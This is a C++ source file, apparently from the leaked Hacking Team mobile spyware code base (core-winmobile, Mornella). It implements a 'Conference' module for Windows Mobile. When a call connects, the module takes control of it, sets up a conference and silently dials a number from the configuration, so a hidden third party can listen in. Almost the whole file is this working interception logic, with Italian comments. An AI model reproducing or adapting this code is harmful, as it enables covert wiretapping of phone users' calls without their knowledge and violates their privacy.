hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/Conference.cpp

Summary

Maintainability
Test Coverage
#include "Common.h"
#include "Module.h"
#include "Log.h"
#include "Device.h"

#include <tapi.h>
#include <extapi.h>
#include <regext.h>
#include <snapi.h>
#include <pm.h>

void FAR PASCAL lineCallbackFunc(DWORD hDevice, DWORD dwMsg, DWORD dwCallbackInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3) {

}

DWORD WINAPI CallAgent(LPVOID lpParam) {
    HLINEAPP hLineApp;
    HRESULT result, dwRequestId;
    HLINE hLineOpened = NULL;
    DWORD dwPhoneNumDevs = 0, dwLineNumDevs = 0, dwApiVersion = 0x00030000;
    LINEINITIALIZEEXPARAMS liep;
    LINEMESSAGE lineMess;
    UINT i;

    Configuration *conf;
    Module *me = (Module *)lpParam;
    HANDLE eventHandle;
    wstring number;

    me->setStatus(MODULE_RUNNING);
    eventHandle = me->getEvent();
    conf = me->getConf();

    try {
        number = conf->getString(L"number");
    } catch (...) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    if (number.empty()) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    DBG_TRACE(L"Debug - Conference.cpp - Conference Module started\n", 5, FALSE);

    LOOP {
        ZeroMemory(&liep, sizeof(liep));
        liep.dwTotalSize = sizeof(LINEINITIALIZEEXPARAMS);
        liep.dwOptions   = LINEINITIALIZEEXOPTION_USEEVENT;

        result = lineInitializeEx(&hLineApp, 0, lineCallbackFunc, TEXT("ExTapi_Lib"), &dwPhoneNumDevs, &dwApiVersion, &liep);

        if (result < 0) {
            me->setStatus(MODULE_STOPPED);
            DBG_TRACE(L"Debug - Conference.cpp - Conference Module [0]\n", 5, FALSE);
            return 0;
        }

        for (i = 0; i < dwPhoneNumDevs; i++) {
            LINEEXTENSIONID extensionID;
            ZeroMemory(&extensionID, sizeof(LINEEXTENSIONID));

            result = lineNegotiateAPIVersion(hLineApp, i, 0x00014000, 0x00030000, &dwApiVersion, &extensionID);
        }

        DWORD extVersion = 0;
        LINECALLPARAMS lineCallParams;
        HCALL hCall = NULL, hConfCall = NULL, hListenerCall = NULL;

        ZeroMemory(&lineCallParams, sizeof(lineCallParams));
        lineCallParams.dwTotalSize = sizeof(lineCallParams);
        lineCallParams.dwBearerMode = LINEBEARERMODE_VOICE;
        lineCallParams.dwAddressMode = LINEADDRESSMODE_DIALABLEADDR;
        lineCallParams.dwCallParamFlags = LINECALLPARAMFLAGS_IDLE;
        lineCallParams.dwMediaMode = 0;

        result = lineOpen(hLineApp, 0, &hLineOpened, dwApiVersion, 0, 0x100,
            LINECALLPRIVILEGE_MONITOR | LINECALLPRIVILEGE_OWNER, LINEMEDIAMODE_INTERACTIVEVOICE /*| LINEMEDIAMODE_DATAMODEM*/, &lineCallParams);

        if (result < 0) {
            me->setStatus(MODULE_STOPPED);
            DBG_TRACE(L"Debug - Conference.cpp - Conference Module FAILED [1]\n", 5, FALSE);
            return 0;
        }

        // Attendiamo che arrivi o sia effettuata una chiamata
        LOOP {
            if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
                if (me->shouldStop() == FALSE)
                    continue;

                lineShutdown(hLineApp);
                me->setStatus(MODULE_STOPPED);
                DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
                return 0;
            }

            if (!lineGetMessage(hLineApp, &lineMess, INFINITE) && lineMess.dwMessageID == LINE_CALLSTATE &&
                lineMess.dwParam1 == LINECALLSTATE_CONNECTED) {

                    hCall = (HCALL)lineMess.hDevice; // Prendiamo l'handle della chiamata!
                    break;
            }
        }

        // Prendiamo i privilegi sulla chiamata
        result = lineSetCallPrivilege(hCall, LINECALLPRIVILEGE_OWNER);

        if (result < 0) {
            lineShutdown(hLineApp);
            DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [2]\n", 5, FALSE);
            continue;
        }

        // XXX Su alcuni cell hCall DEVE essere NULL e il secondo parametro valorizzato
        // LONG lRet = lineSetupConference(hCall, NULL, &hConfCall, &hListenerCall, 3, (const LPLINECALLPARAMS)plineParams);
        LONG lRet = lineSetupConference(hCall, NULL, &hConfCall, &hListenerCall, 3, NULL);

        if (lRet < 0) {
            lineShutdown(hLineApp);
            DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [3]\n", 5, FALSE);
            continue;
        }

        // Attendiamo che la lineSetupConference ci comunichi il suo stato
        BOOL bReply, bConferenced, bDial, bOnHold;
        bReply = bConferenced = bDial = bOnHold = FALSE;

        LOOP {
            if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
                if (me->shouldStop() == FALSE)
                    continue;

                lineShutdown(hLineApp);
                me->setStatus(MODULE_STOPPED);
                DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
                return 0;
            }

            if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
                if (lineMess.dwMessageID == LINE_REPLY) {
                    if (lineMess.dwParam2 == 0)
                        bReply = TRUE;
                    else
                        return 0; // XXX Non dobbiamo continuare in questo caso
                }

                if (lineMess.hDevice == (DWORD)hCall && lineMess.dwParam1 == LINECALLSTATE_CONFERENCED)
                    bConferenced = TRUE;

                if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_DIALTONE)
                    bDial = TRUE;

                if (lineMess.hDevice == (DWORD)hConfCall && lineMess.dwParam1 == LINECALLSTATE_ONHOLDPENDCONF)
                    bOnHold = TRUE;
            }

            if (bReply && bConferenced && bDial && bOnHold)
                break;
        }

        dwRequestId = lineDial(hListenerCall, number.c_str(), 0);

        if (dwRequestId < 0) {
            lineShutdown(hLineApp);
            DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [4]\n", 5, FALSE);
            continue;
        }

        // Attendiamo che la terza parte risponda
        BOOL bTerminated = FALSE;
        bReply = bConferenced = FALSE;

        LOOP {
            if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
                if (me->shouldStop() == FALSE)
                    continue;

                lineShutdown(hLineApp);
                me->setStatus(MODULE_STOPPED);
                DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
                return 0;
            }

            if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
                if (lineMess.dwMessageID == LINE_REPLY)
                    bReply = TRUE;

                if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_CONNECTED)
                    bConferenced = TRUE;

                // Vediamo se nel frattempo la chiamata e' terminata
                if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED) {
                    bTerminated = TRUE;
                    break;
                }
            }

            if (bReply && bConferenced)
                break;
        }

        result = lineAddToConference(hConfCall, hListenerCall);

        if (result < 0 || bTerminated) {
            lineDrop(hListenerCall, NULL, 0);
            lineShutdown(hLineApp);
            DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [Call not answered?] [4]\n", 5, FALSE);
            continue;
        }

        // Attendiamo che la conference call sia completa
        bReply = bConferenced = bDial = FALSE;

        LOOP {
            if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
                if (me->shouldStop() == FALSE)
                    continue;

                lineShutdown(hLineApp);
                me->setStatus(MODULE_STOPPED);
                DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
                return 0;
            }

            if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
                if (lineMess.dwMessageID == LINE_REPLY)
                    bReply = TRUE;

                if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_CONFERENCED)
                    bConferenced = TRUE;

                if (lineMess.hDevice == (DWORD)hConfCall && lineMess.dwParam1 == LINECALLSTATE_CONNECTED)
                    bDial = TRUE;
            }

            if (bReply && bConferenced && bDial)
                break;
        }

        // Attendiamo ora la fine della telefonata
        // 1. Chiude il chiamante, chiudiamo anche noi
        // 2. Chiude il chiamato, chiudiamo anche noi
        LOOP {
            if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
                if (me->shouldStop() == FALSE)
                    continue;

                lineShutdown(hLineApp);
                me->setStatus(MODULE_STOPPED);
                DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
                return 0;
            }

            if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
                if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED) {
                    lineDrop(hListenerCall, NULL, 0);
                    break;
                }
            }
        }

        lineShutdown(hLineApp);
    }

    return 0;
}